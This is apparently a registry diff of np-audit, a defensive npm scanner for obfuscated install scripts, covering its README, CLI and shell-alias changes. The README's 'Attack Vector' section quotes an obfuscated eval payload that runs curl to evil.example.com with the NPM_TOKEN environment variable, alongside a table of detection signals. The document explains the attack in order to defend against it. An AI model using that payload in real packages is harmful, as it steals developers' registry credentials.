np-audit 1.5.1 → 2.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -5,101 +5,82 @@
5
5
  [![npm package size](https://img.shields.io/npm/unpacked-size/np-audit)](https://www.npmjs.com/package/np-audit)
6
6
  [![GitHub license](https://img.shields.io/github/license/KoblerS/np-audit.svg)](https://github.com/KoblerS/np-audit/blob/main/LICENSE)
7
7
  [![CI](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml/badge.svg)](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml)
8
+ [![codecov](https://codecov.io/gh/KoblerS/np-audit/branch/main/graph/badge.svg)](https://codecov.io/gh/KoblerS/np-audit)
8
9
 
9
10
  # np-audit — npm package auditor
10
11
 
11
- Statically detect obfuscated code in npm `preinstall`/`postinstall` scripts **before** they run. Drop-in replacement for `npm install` and `npm ci`.
12
+ Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns **before** they run. Drop-in replacement for `npm install` and `npm ci`.
12
13
 
13
14
  **Zero dependencies.** Pure Node.js built-ins only.
14
15
 
15
- ---
16
+ ```bash
17
+ npx np-audit scan express
18
+ ```
16
19
 
17
- ## The Attack Vector
20
+ ```bash
21
+ npm install -g np-audit
22
+ npa scan # scan all deps
23
+ npa install # audit then install
24
+ alias npm='npa' # use as drop-in replacement
25
+ ```
18
26
 
19
- Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run `npm install`, npm automatically executes any `preinstall`, `install`, or `postinstall` script defined in a package's `package.json`. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
27
+ ---
20
28
 
21
- ```json
22
- {
23
- "scripts": {
24
- "postinstall": "node ./dist/install.js"
25
- }
26
- }
27
- ```
29
+ ## Marshallers
28
30
 
29
- Where `dist/install.js` contains something like:
31
+ Detection is split into modular marshallers — each one detects a single attack signal:
30
32
 
31
- ```js
32
- // Obfuscated hard to read by design
33
- var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
34
- eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');
35
- ```
33
+ | Marshaller | What it detects | Score |
34
+ | ---------- | --------------- | ----- |
35
+ | `eval/dynamic-exec` | `eval()`, `new Function()`, indirect eval, `vm.*`, `setTimeout` with string | 8 |
36
+ | `obfuscator.io` | `_0x` variable naming patterns (obfuscator.io output) | 9–80 |
37
+ | `high-entropy-string` | Long strings or concatenation chains with high Shannon entropy | 6 |
38
+ | `hex-escape-density` | Dense `\xNN` and `\uXXXX` escape sequences | 5–50 |
39
+ | `fromCharCode` | `String.fromCharCode` with many args, large decimal char-code arrays | 7 |
40
+ | `encoded-decode` | Base64/hex decode (`atob`, `Buffer.from`) optionally combined with `eval` | 3–8 |
41
+ | `child-process` | `require('child_process')`, `exec`, `spawn`, `fork`, worker_threads | 5 |
42
+ | `hex-array` | Large numbers of `0x` hex literal values | 7–60 |
43
+ | `process-env` | `process.env` access (credential exfiltration signal) | 3 |
44
+ | `network-call` | `require('https')`, `fetch()`, `dns`, `net`, `tls` | 4 |
45
+ | `filesystem-manipulation` | `fs.writeFile`, `chmod`, `symlink` (backdoor persistence) | 3–4 |
46
+ | `runtime-download` | Downloads and executes external runtimes (Bun, Deno) | 9–50 |
47
+ | `vscode-autorun` | VS Code tasks with `runOn: folderOpen` (auto-execution) | 30 |
48
+ | `known-vulnerability` | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |
36
49
 
37
- Real-world examples include:
38
-
39
- - **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** malicious postinstall that stole Bitcoin wallet credentials
40
- - **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
41
- - **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
42
- - **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
43
- - **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised npm package targeting SAP developers
44
-
45
- **`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
46
-
47
- | Signal | Example |
48
- | ------------------------------ | ------------------------------------------ |
49
- | `eval()` / `new Function()` | `eval(atob("aGVsbG8="))` |
50
- | Indirect eval | `(0, eval)(x)`, `globalThis['ev'+'al'](x)` |
51
- | Function constructor prototype | `({}).constructor.constructor("…")()` |
52
- | `setTimeout` with string arg | `setTimeout('alert(1)', 100)` |
53
- | Obfuscator.io patterns | `var _0x3f2a = [...]` |
54
- | High-entropy strings | Encrypted/compressed payloads |
55
- | Split-literal high entropy | `'aB' + 'cD' + 'eF' + …` (concat chain) |
56
- | Hex / Unicode escape density | `\x68\x65\x6c\x6c\x6f`, `\u0068\u0065…` |
57
- | `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
58
- | Decimal char-code arrays | `[101,118,97,108,...]` (printable ASCII) |
59
- | Base64 / hex decode + exec | `Buffer.from(x,'base64'\|'hex')` + `eval` |
60
- | Shell spawning | `require('child_process').exec(...)` |
61
- | `worker_threads` | `new Worker(...)`, eval-class surface |
62
- | Concealed `require` | `require('child' + '_process')` |
63
- | Dynamic `require` / `import` | `require(variable)`, `import(expr)` |
64
- | Large hex literal arrays | `[0x1a, 0x2b, 0x3c, ...]` × 20+ |
65
- | `process.env` access | Token/credential harvesting |
66
- | Outbound network calls | `https`/`http`/`net`/`dns`/`tls`/`dgram`/`http2`, `node:` prefix, dynamic `import()` |
67
- | Missing referenced script | Command references file not in tarball |
68
- | Oversized require graph | Postinstall reaches >50 files or >5 MB |
69
-
70
- ### Coverage beyond the entry script
71
-
72
- `npa` doesn't just inspect the single file named in the lifecycle command. It:
73
-
74
- - Splits chained commands (`&&`, `||`, `;`, `|`) and analyses each segment, so `node setup.js && node payload.js` no longer hides the second invocation.
75
- - Handles `node -e "…"`, `sh -c "…"`, `python -c "…"` by analysing the inline code rather than just the wrapper command.
76
- - Reads shell scripts (`sh ./install.sh`), Python scripts, and shebang-invoked files — not only `node` targets.
77
- - Follows internal `require('./…')` and `import './…'` chains across the package (with cycle detection and per-package caps), so payloads hidden in helper files like `lib/helper.js` are caught.
78
- - Records dynamic `require(variable)` / `import(expr)` calls as findings, since they can't be resolved statically.
79
- - Scans the project's **own** `package.json` lifecycle scripts by default, catching PRs and supply-chain attacks that target the repository itself. Opt out with `scanSelf: false` in `.npmauditor.json`.
80
- - Inspects **all** lifecycle scripts npm may run, not only `preinstall`/`install`/`postinstall`: also `prepare`, `preprepare`, `postprepare`, and `prepublish`.
50
+ Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.
51
+
52
+ See [CONTRIBUTING.md](CONTRIBUTING.md) for how to write custom marshallers.
81
53
 
82
54
  ---
83
55
 
84
- ## Install
56
+ ## Vulnerability Scanning (CVE)
85
57
 
86
- **Global install (recommended):**
58
+ Every scanned package is checked against known vulnerability databases alongside the code analysis.
87
59
 
88
- ```bash
89
- npm install -g np-audit
90
- ```
60
+ **Default: OSV.dev (no setup required)**
91
61
 
92
- **Or use directly with npx:**
62
+ Works out of the box — queries the free [OSV.dev](https://osv.dev/) API for known vulnerabilities and malicious package advisories.
63
+
64
+ **Optional: Snyk API (richer data)**
93
65
 
94
66
  ```bash
95
- npx np-audit scan
67
+ # Environment variable
68
+ export SNYK_API_TOKEN=your-token-here
69
+
70
+ # Or via Snyk CLI
71
+ snyk auth
96
72
  ```
97
73
 
98
- After global install, use the `npa` command:
74
+ Token resolution order: `SNYK_API_TOKEN` `SNYK_TOKEN` → `~/.config/configstore/snyk.json`
99
75
 
100
- ```bash
101
- npa --version
102
- ```
76
+ | Severity | Score | Verdict |
77
+ | -------- | ----- | ------- |
78
+ | Malicious package | 80 | DANGER |
79
+ | 10+ vulnerabilities | 6 | WARN |
80
+ | 5–9 vulnerabilities | 5 | WARN |
81
+ | 1–4 vulnerabilities | 4 | WARN |
82
+
83
+ Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.
103
84
 
104
85
  ---
105
86
 
@@ -111,14 +92,13 @@ npa --version
111
92
  | ------------------------------ | ----------- | ---------------------------------- |
112
93
  | `npa install [package]` | `npa i` | Audit then run `npm install` |
113
94
  | `npa ci` | — | Audit then run `npm ci` |
114
- | `npa scan` | `npa s` | Scan only, no install |
95
+ | `npa scan [package]` | `npa s` | Scan only, no install |
115
96
  | `npa config get` | `npa c get` | Show current configuration |
116
97
  | `npa config set <key> <value>` | `npa c set` | Update a config value |
117
- | `npa alias` | — | Print shell hook for auto-scanning |
118
- | `npa alias --install` | — | Install hook to shell profile |
119
- | `npa alias --uninstall` | — | Remove hook from shell profile |
98
+ | `npa alias --install` | — | Install shell alias |
99
+ | `npa alias --uninstall` | — | Remove shell alias |
120
100
 
121
- Use `npa <command> -h` for detailed help on any command.
101
+ Any unrecognized command is forwarded to npm (e.g. `npa run test`, `npa publish`).
122
102
 
123
103
  ### Flags
124
104
 
@@ -128,41 +108,13 @@ Use `npa <command> -h` for detailed help on any command.
128
108
  | `--json` | — | `install`, `ci`, `scan` | Machine-readable JSON output |
129
109
  | `--no-dev` | — | `install`, `ci`, `scan` | Skip devDependencies |
130
110
  | `--verbose` | — | all | Show fetch progress and extra detail |
131
- | `--version` | | — | Print version and exit |
111
+ | `--version` | `-v` | — | Print version and exit |
132
112
  | `--help` | `-h` | — | Print help and exit |
133
113
 
134
- ### Drop-in replacement for `npm install`
135
-
136
- ```bash
137
- # Audit all dependencies, then install if clean
138
- npa install # or: npa i
139
-
140
- # Audit a specific package before adding it
141
- npa i express
142
- ```
143
-
144
- ### Drop-in replacement for `npm ci`
145
-
146
- ```bash
147
- npa ci
148
- ```
149
-
150
- ### Scan only (no install)
151
-
152
- ```bash
153
- npa scan # or: npa s
154
- npa s --json # machine-readable output
155
- npa s --no-dev # skip devDependencies
156
- npa s --verbose # show fetch progress
157
- ```
158
-
159
114
  ### Interactive `--review` mode
160
115
 
161
- Review each install script yourself and decide which to allow:
162
-
163
116
  ```bash
164
- npa i --review # or: npa i -r
165
- npa ci --review
117
+ npa install --review
166
118
  ```
167
119
 
168
120
  ```
@@ -178,111 +130,94 @@ npa ci --review
178
130
  2 allowed 1 denied
179
131
  ```
180
132
 
181
- After confirmation, `npa` runs `npm install --ignore-scripts` and then manually executes only the scripts you allowed.
182
-
183
- ### Configuration
133
+ ---
184
134
 
185
- ```bash
186
- # Show current config
187
- npa config get
135
+ ## Configuration
188
136
 
189
- # Change thresholds
190
- npa config set blockScore 6 # block at score 6+ (default: 7)
191
- npa config set warnScore 3 # warn at score 3+ (default: 4)
137
+ Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json`.
192
138
 
193
- # Skip trusted packages or scopes
194
- npa config set skipPackages '["esbuild","puppeteer"]'
195
- npa config set skipScopes '["@types","@babel"]'
139
+ ```bash
140
+ npa config get # Show current config
141
+ npa config set blockScore 6 # Block at score 6+
142
+ npa config set skipPackages '["esbuild"]' # Trust specific packages
143
+ npa config set skipScopes '["@types"]' # Trust entire scopes
196
144
  ```
197
145
 
198
- Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json` in your project root.
146
+ ### All config keys
199
147
 
200
- ### Shell Hook (npm alias)
201
-
202
- Automatically run `npa scan` before every `npm install` or `npm ci`:
148
+ | Key | Default | Description |
149
+ | ----------------- | ---------------------------- | --------------------------------------- |
150
+ | `blockScore` | `7` | Score threshold for DANGER (exit 1) |
151
+ | `warnScore` | `4` | Score threshold for WARN (exit 0) |
152
+ | `registry` | `https://registry.npmjs.org` | npm registry URL |
153
+ | `timeout` | `30000` | HTTP request timeout (ms) |
154
+ | `parallelFetches` | `5` | Concurrent downloads |
155
+ | `skipScopes` | `[]` | `@scope` prefixes to skip |
156
+ | `skipPackages` | `[]` | Package names to skip |
157
+ | `silent` | `false` | Suppress output when no issues found |
158
+ | `scanSelf` | `true` | Scan own project lifecycle scripts |
159
+ | `maxTarballSize` | `50MB` | Max unpacked tarball size (bomb protection) |
160
+ | `checkVulnerabilities` | `true` | Check packages against CVE databases |
161
+ | `deepResolve` | `false` | Resolve full transitive dependency tree |
203
162
 
204
- ```bash
205
- # Install the hook to your shell profile (~/.zshrc or ~/.bashrc)
206
- npa alias --install
163
+ ---
207
164
 
208
- # Reload your shell
209
- source ~/.zshrc # or ~/.bashrc
210
- ```
165
+ ## Shell Alias
211
166
 
212
- Now when you run `npm install` or `npm ci`, npa will scan first:
167
+ Use npa as a transparent npm replacement:
213
168
 
214
169
  ```bash
215
- $ npm install lodash
216
- [npa] Scanning dependencies before npm install...
217
- ✔ No packages with install scripts found.
218
- [npa] Scan passed. Running npm install...
170
+ npa alias --install # adds: alias npm='npa'
171
+ source ~/.zshrc # reload shell
219
172
  ```
220
173
 
221
- If issues are found, the install is blocked:
174
+ Now `npm install`, `npm ci` scan automatically. All other npm commands (`npm run`, `npm test`, `npm publish`) pass through unchanged.
222
175
 
223
176
  ```bash
224
- $ npm install evil-pkg
225
- [npa] Scanning dependencies before npm install...
226
- ✗ evil-pkg@1.0.0 DANGER (score: 9)
227
- [npa] Scan found issues. Run 'npa install --review' for interactive mode.
177
+ npa alias --uninstall # remove the alias
228
178
  ```
229
179
 
230
- To remove the hook:
231
-
232
- ```bash
233
- npa alias --uninstall
234
- ```
180
+ ---
235
181
 
236
- #### All config keys
182
+ ## How It Works
237
183
 
238
- | Key | Default | Description |
239
- | ----------------- | ---------------------------- | --------------------------------------- |
240
- | `blockScore` | `7` | Score threshold for hard block (exit 1) |
241
- | `warnScore` | `4` | Score threshold for warning (exit 0) |
242
- | `registry` | `https://registry.npmjs.org` | npm registry URL |
243
- | `timeout` | `30000` | HTTP request timeout (ms) |
244
- | `parallelFetches` | `5` | Concurrent tarball downloads |
245
- | `skipScopes` | `[]` | `@scope` prefixes to skip entirely |
246
- | `skipPackages` | `[]` | Specific package names to skip |
247
- | `silent` | `false` | Suppress output when no issues found |
248
- | `scanSelf` | `true` | Also scan the current project's own `package.json` lifecycle scripts |
184
+ 1. **Parse** `package-lock.json` (v1/v2/v3) or resolve from `package.json`
185
+ 2. **Fetch** tarballs from registry (or read from `node_modules`)
186
+ 3. **Parse** lifecycle commands splits `&&`/`||`/`;`/`|`, handles `node -e`, `sh -c`, shell scripts
187
+ 4. **Walk** the `require()`/`import` graph from each entry (cycle detection, 50 file / 5 MB cap)
188
+ 5. **Analyze** with all marshallers static code checks + CVE database queries
189
+ 6. **Score** and classify: DANGER / WARN / OK
190
+ 7. **Report** or proceed with install
249
191
 
250
192
  ---
251
193
 
252
- ## Exit codes
194
+ ## The Attack Vector
253
195
 
254
- | Code | Meaning |
255
- | ---- | ----------------------------------- |
256
- | `0` | All packages clean or only warnings |
257
- | `1` | One or more packages blocked |
196
+ Supply chain attacks abuse npm lifecycle scripts. When you run `npm install`, any `preinstall`/`install`/`postinstall` script runs automatically. Attackers hide payloads behind obfuscation:
258
197
 
259
- ---
198
+ ```js
199
+ var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
200
+ eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
201
+ ```
202
+
203
+ Real-world incidents:
260
204
 
261
- ## How it works
205
+ - **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — Bitcoin wallet credential theft
206
+ - **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — crypto miner + info-stealer
207
+ - **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — geo-targeted wiper malware
208
+ - **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — maintainer sabotage
209
+ - **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised package targeting enterprise developers
262
210
 
263
- 1. **Parse** `package-lock.json` (supports v1, v2, v3 formats)
264
- 2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
265
- 3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
266
- 4. **Parse the lifecycle command** — split on `&&` / `||` / `;` / `|`, classify each segment by interpreter (`node`, `sh`, `python`, `bun`, …), and treat `node -e` / `sh -c` arguments as inline code
267
- 5. **Walk the require/import graph** from each entry script — following internal `./` / `../` paths, with cycle detection and per-package caps (50 files / 5 MB)
268
- 6. **Analyze** every reached file statically across all lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`, `preprepare`, `postprepare`, `prepublish`) — never execute
269
- 7. **Also scan the current project's own** `package.json` lifecycle scripts (unless `scanSelf: false`)
270
- 8. **Score** findings (0–10 per signal), classify as DANGER / WARN / OK based on config thresholds
271
- 9. **Report** results to terminal or `--json` — each finding is tagged with the file it came from
272
- 10. **Proceed** — run npm normally, or in `--review` mode let you selectively allow scripts
211
+ `npa` **never executes** scripts. It downloads and statically analyzes them.
273
212
 
274
213
  ---
275
214
 
276
- ## Development
215
+ ## Exit Codes
277
216
 
278
- ```bash
279
- git clone https://github.com/KoblerS/np-audit.git
280
- cd np-audit
281
- npm test # run all unit + E2E tests
282
- npm link # install npa globally from source
283
- ```
284
-
285
- No build step, no transpilation — plain Node.js ≥ 18.
217
+ | Code | Meaning |
218
+ | ---- | ----------------------------------- |
219
+ | `0` | All clean or only warnings |
220
+ | `1` | One or more packages blocked |
286
221
 
287
222
  ---
288
223
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "np-audit",
3
- "version": "1.5.1",
3
+ "version": "2.1.0",
4
4
  "description": "Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention",
5
5
  "bin": {
6
6
  "npa": "bin/npa.js",
package/src/cli.js CHANGED
@@ -17,7 +17,7 @@ function buildMainHelp() {
17
17
 
18
18
  return `
19
19
  npa — npm package auditor ${VERSION}
20
- Statically detects obfuscated code in npm install scripts.
20
+ Static security analysis for npm packages.
21
21
 
22
22
  Usage:
23
23
  ${lines.join('\n')}
@@ -100,14 +100,29 @@ async function main() {
100
100
  }
101
101
 
102
102
  if (flags.help || !command) {
103
+ output.printLogo(VERSION);
103
104
  process.stdout.write(buildMainHelp() + '\n');
104
105
  return;
105
106
  }
106
107
 
107
108
  const cmd = commands.get(command);
108
109
  if (!cmd) {
109
- output.error(`Unknown command: "${command}". Run npa --help for usage.`);
110
- process.exit(1);
110
+ // Forward unknown commands to npm (allows `alias npm='npa'`)
111
+ const { spawnSync } = require('child_process');
112
+ const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
113
+ const result = spawnSync(npmCmd, process.argv.slice(2), {
114
+ stdio: 'inherit',
115
+ cwd,
116
+ });
117
+ process.exit(result.status || 0);
118
+ return;
119
+ }
120
+
121
+ // Deprecation notice for old shell hook
122
+ if (process.env.NPA_RUNNING && !flags.json && !config.silent) {
123
+ output.warn('Deprecated: The old npa shell hook is no longer needed.');
124
+ output.log(output.dim(' Run: npa alias --install to upgrade to the simpler alias.'));
125
+ output.log('');
111
126
  }
112
127
 
113
128
  // Fire update check only for scan/install/ci commands (non-blocking)
@@ -6,10 +6,10 @@ const os = require('os');
6
6
  const output = require('../utils/output');
7
7
 
8
8
  const BASH_HOOK = `# npa npm hook
9
- npm() { [[ -n "$NPA_RUNNING" ]] && { command npm "$@"; return; }; case "$1" in scan) npa scan "\${@:2}"; return;; install|i|add) command -v npa >/dev/null && { local pkgs=(); for a in "\${@:2}"; do [[ "$a" != -* ]] && pkgs+=("$a"); done; if [[ \${#pkgs[@]} -gt 0 ]]; then npa scan "\${pkgs[@]}" || { echo "[npa] Blocked. Use 'npa install --review'"; return 1; }; else npa scan || { echo "[npa] Blocked. Use 'npa install --review'"; return 1; }; fi; };; ci) command -v npa >/dev/null && { npa scan || { echo "[npa] Blocked. Use 'npa ci --review'"; return 1; }; };; esac; command npm "$@"; }`;
9
+ alias npm='npa'`;
10
10
 
11
11
  const POWERSHELL_HOOK = `# npa npm hook
12
- function npm { if($env:NPA_RUNNING){& npm.cmd @args;return}; if($args[0] -eq 'scan'){& npa scan @($args|Select-Object -Skip 1);return}; if($args[0] -in @('install','i','add')){$pkgs=@($args|Where-Object{$_ -notmatch '^-'}|Select-Object -Skip 1); if($pkgs.Count -gt 0){& npa scan @pkgs; if($LASTEXITCODE -ne 0){Write-Host "[npa] Blocked.";return 1}}else{& npa scan; if($LASTEXITCODE -ne 0){Write-Host "[npa] Blocked.";return 1}}}; if($args[0] -eq 'ci'){& npa scan; if($LASTEXITCODE -ne 0){Write-Host "[npa] Blocked.";return 1}}; & npm.cmd @args }`;
12
+ Set-Alias -Name npm -Value npa`;
13
13
 
14
14
  module.exports = {
15
15
  name: 'alias',
@@ -18,20 +18,21 @@ module.exports = {
18
18
 
19
19
  help() {
20
20
  return `
21
- npa alias — Shell hook to auto-scan before npm install/ci
21
+ npa alias — Shell alias to use npa as an npm drop-in replacement
22
22
 
23
23
  Usage:
24
- npa alias Print the shell hook
25
- npa alias --install Add hook to shell profile (~/.zshrc or ~/.bashrc)
26
- npa alias --uninstall Remove hook from shell profile
24
+ npa alias Print the shell alias
25
+ npa alias --install Add alias to shell profile (~/.zshrc or ~/.bashrc)
26
+ npa alias --uninstall Remove alias from shell profile
27
27
 
28
- The hook intercepts npm install/ci/add commands and runs npa scan first.
29
- If issues are found, the install is blocked until resolved.
28
+ With the alias active, all npm commands pass through npa.
29
+ Install/ci/add commands are scanned before execution.
30
+ All other commands (run, test, publish, etc.) forward directly to npm.
30
31
 
31
32
  Examples:
32
- npa alias Print hook for manual installation
33
+ npa alias Print alias for manual installation
33
34
  npa alias --install Auto-install to detected shell
34
- eval "$(npa alias)" Load hook in current session only
35
+ eval "$(npa alias)" Load alias in current session only
35
36
  `;
36
37
  },
37
38
 
@@ -86,7 +87,9 @@ function doUninstall(profilePath) {
86
87
  return;
87
88
  }
88
89
 
89
- const cleaned = content.replace(/\n*# npa npm hook\nnpm\(\)[^\n]+\n*/g, '\n');
90
+ // Remove all known hook formats (old function, new alias)
91
+ const cleaned = content
92
+ .replace(/\n*# npa npm hook\n(?:npm\(\) \{[\s\S]*?\n\}|npm\(\)[^\n]+|alias npm='npa'|Set-Alias[^\n]*)\n*/g, '\n');
90
93
  fs.writeFileSync(profilePath, cleaned);
91
94
  output.success(`Removed npa hook from ${profilePath}`);
92
95
  output.log(output.dim(' Run: source ' + profilePath + ' (or restart your terminal)'));
@@ -100,6 +103,22 @@ function doInstall(hook, profilePath) {
100
103
  }
101
104
 
102
105
  const content = fs.existsSync(profilePath) ? fs.readFileSync(profilePath, 'utf8') : '';
106
+
107
+ // Migrate from old format (function or multi-line) to new alias
108
+ const hasOldHook = content.includes('# npa npm hook') && !content.includes("alias npm='npa'");
109
+ if (hasOldHook) {
110
+ output.warn('Deprecated: The old npm() shell function hook is no longer needed.');
111
+ output.log(output.dim(' npa now forwards unknown commands to npm directly.'));
112
+ output.log(output.dim(' Replacing with: alias npm=\'npa\''));
113
+ output.log('');
114
+ const migrated = content
115
+ .replace(/\n*# npa npm hook\n(?:npm\(\) \{[\s\S]*?\n\}|npm\(\)[^\n]+)\n*/g, '\n\n' + hook + '\n');
116
+ fs.writeFileSync(profilePath, migrated);
117
+ output.success(`Migrated npa hook to new format in ${profilePath}`);
118
+ output.log(output.dim(' Run: source ' + profilePath + ' (or restart your terminal)'));
119
+ return;
120
+ }
121
+
103
122
  if (content.includes('# npa npm hook')) {
104
123
  output.warn('npa hook already installed in ' + profilePath);
105
124
  return;
@@ -30,7 +30,10 @@ module.exports = {
30
30
  },
31
31
 
32
32
  async run({ flags, config, cwd }) {
33
+ const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
34
+ if (spinner) spinner.start();
33
35
  const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
36
+ if (spinner) spinner.stop();
34
37
  const hasIssues = results.some(r => r.verdict !== 'OK');
35
38
  const silent = config.silent && !hasIssues;
36
39
 
@@ -45,7 +48,7 @@ module.exports = {
45
48
  const blocked = results.filter(r => r.verdict === 'BLOCK');
46
49
 
47
50
  if (blocked.length > 0 && !flags.review) {
48
- output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
51
+ output.error(`${blocked.length} package(s) blocked suspicious or malicious packages detected.`);
49
52
  process.exit(1);
50
53
  }
51
54
 
@@ -62,7 +65,7 @@ module.exports = {
62
65
  function printResults(results, silent = false) {
63
66
  if (silent) return;
64
67
  if (results.length === 0) {
65
- output.success('No packages with install scripts found.');
68
+ output.success('No issues found.');
66
69
  return;
67
70
  }
68
71
  for (const r of results) {
@@ -33,6 +33,8 @@ module.exports = {
33
33
  async run({ args, flags, config, cwd }) {
34
34
  const packages = args.filter(a => !a.startsWith('-'));
35
35
 
36
+ const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
37
+ if (spinner) spinner.start();
36
38
  const results = await scan({
37
39
  cwd,
38
40
  config,
@@ -40,6 +42,7 @@ module.exports = {
40
42
  verbose: flags.verbose,
41
43
  packages: packages.length > 0 ? packages : null,
42
44
  });
45
+ if (spinner) spinner.stop();
43
46
 
44
47
  const hasIssues = results.some(r => r.verdict !== 'OK');
45
48
  const silent = config.silent && !hasIssues;
@@ -55,7 +58,7 @@ module.exports = {
55
58
  const blocked = results.filter(r => r.verdict === 'BLOCK');
56
59
 
57
60
  if (blocked.length > 0 && !flags.review) {
58
- output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
61
+ output.error(`${blocked.length} package(s) blocked suspicious or malicious packages detected.`);
59
62
  output.log(output.dim(' Run with --review to interactively decide which scripts to allow.'));
60
63
  process.exit(1);
61
64
  }
@@ -81,7 +84,7 @@ module.exports = {
81
84
  function printResults(results, silent = false) {
82
85
  if (silent) return;
83
86
  if (results.length === 0) {
84
- output.success('No packages with install scripts found.');
87
+ output.success('No issues found.');
85
88
  return;
86
89
  }
87
90
  for (const r of results) {
@@ -10,7 +10,7 @@ module.exports = {
10
10
 
11
11
  help() {
12
12
  return `
13
- npa scan — Scan dependencies for obfuscated install scripts
13
+ npa scan — Scan dependencies for security issues
14
14
 
15
15
  Usage:
16
16
  npa scan [package] [options]
@@ -31,7 +31,10 @@ module.exports = {
31
31
 
32
32
  async run({ args, flags, config, cwd }) {
33
33
  const packages = args.filter(a => !a.startsWith('-'));
34
+ const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
35
+ if (spinner) spinner.start();
34
36
  const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose, packages: packages.length > 0 ? packages : null });
37
+ if (spinner) spinner.stop();
35
38
  const hasIssues = results.some(r => r.verdict !== 'OK');
36
39
  const silent = config.silent && !hasIssues;
37
40
 
@@ -54,7 +57,7 @@ module.exports = {
54
57
  function printResults(results, silent = false) {
55
58
  if (silent) return;
56
59
  if (results.length === 0) {
57
- output.success('No packages with install scripts found.');
60
+ output.success('No issues found.');
58
61
  return;
59
62
  }
60
63
  for (const r of results) {